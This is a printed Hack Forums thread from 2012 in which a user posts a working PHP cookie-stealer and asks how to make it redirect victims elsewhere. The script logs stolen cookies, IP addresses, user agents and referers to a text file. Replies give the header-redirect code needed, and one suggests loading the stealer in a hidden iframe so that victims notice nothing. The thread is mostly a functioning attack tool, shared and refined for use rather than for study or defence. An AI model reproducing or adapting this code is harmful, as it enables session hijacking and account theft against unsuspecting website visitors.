Hack Forums
How do i change this cookiestealer so it redirects to a custom site? - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: How do i change this cookiestealer so it redirects to a custom site? (/showthread.php?tid=2928010)



How do i change this cookiestealer so it redirects to a custom site? - Exzib - Oct 8, 2012

How do I do so this script redirects to google?


Code
<?php

function GetIP()
{
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
  $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
  $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
  $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
  $ip = $_SERVER['REMOTE_ADDR'];
    else
  $ip = "unknown";
    return($ip);
}

function logData()
{
    $ipLog="log2.txt";
    $cookie = $_SERVER['QUERY_STRING'];
    $register_globals = (bool) ini_get('register_gobals');
    if ($register_globals) $ip = getenv('REMOTE_ADDR');
    else $ip = GetIP();

    $rem_port = $_SERVER['REMOTE_PORT'];
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $rqst_method = $_SERVER['METHOD'];
    $rem_host = $_SERVER['REMOTE_HOST'];
    $referer = $_SERVER['HTTP_REFERER'];
    $date=date ("l dS of F Y h:i:s A");
    $log=fopen("$ipLog", "a+");

    if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>");
    else
  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n");
    fclose($log);
}

logData();

?>



* - Dezzz - Oct 8, 2012

Right below
PHP Code

<?php 
logData
(); 

Put
PHP Code

<?php 
header
('Location: www.google.ca'); 

It might work but I think the script is aleady sending out headers before it.
Try it and let me know if it works.


* - observers.watch - Oct 8, 2012

change
logData();

to

logData();
header("Location: http://google.com");


* - Exzib - Oct 9, 2012

Is it possible to make it redirect back to the page it was on before?


* - Sky - Oct 9, 2012

Yeah? Put what Thylacine said and in the URL space put the previous page?

~Arcane 🤝


* - Exzib - Oct 9, 2012

(Oct 9, 2012 04:40 AM)arcane sky Wrote:  Yeah? Put what Thylacine said and in the URL space put the previous page?

~Arcane 🤝

Yeah I know that, but I want to use the same for multiple websites.


* - MajorFail - Oct 9, 2012

(Oct 9, 2012 01:56 AM)Exzib Wrote:  Is it possible to make it redirect back to the page it was on before?

Yes you could do that but it could end up in a loop. I usually use an iframe for the cookiestealer so when you visit the page everything appears to be normal.